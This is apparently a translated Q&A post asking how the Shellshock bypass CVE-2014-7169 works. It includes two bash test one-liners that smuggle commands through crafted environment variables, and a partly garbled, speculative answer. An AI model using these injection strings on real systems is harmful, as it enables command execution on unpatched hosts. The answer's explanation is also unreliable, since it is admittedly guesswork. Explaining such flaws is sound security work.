CVE-2014-7169如何运作?测试代码的细分

时间:2014-09-25 15:06:14

标签: bash exploit shellshock-bash-bug

使用针对shellshock修补的bash版本

$ bash --version
GNU bash, version 3.2.52(1)-release (x86_64-apple-darwin12)
Copyright (C) 2007 Free Software Foundation, Inc.

$ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
bash: warning: x: ignoring function definition attempt
bash: error importing function definition for `x'
this is a test

另一个similar exploit still works并已分配CVE-2014-7169

$ env X='() { (a)=>\' bash -c "echo date"; cat echo
bash: X: line 1: syntax error near unexpected token `='
bash: X: line 1: `'
bash: error importing function definition for `X'
Thu Sep 25 12:47:22 EDT 2014

$ ls echo
echo

正在寻找这个细分。

1 个答案:

答案 0 :(得分:1)

我的手挥了很多,我怀疑新的漏洞利用了以下几点:

  1. 反斜杠有助于绕过原始补丁,因此仍会对该字符串进行评估。
  2. >echo结合作为bash shell的输出重定向
  3. 评估使用echo来定义函数,剩下执行的-c参数的唯一部分是date,其输出转到文件名{{1而不是标准输出。
  4. 这是我能想到的最好的{@ 1}}来源,但我怀疑反斜杠有助于某种缓冲区溢出,允许环境字符串和参数{{1}要合并。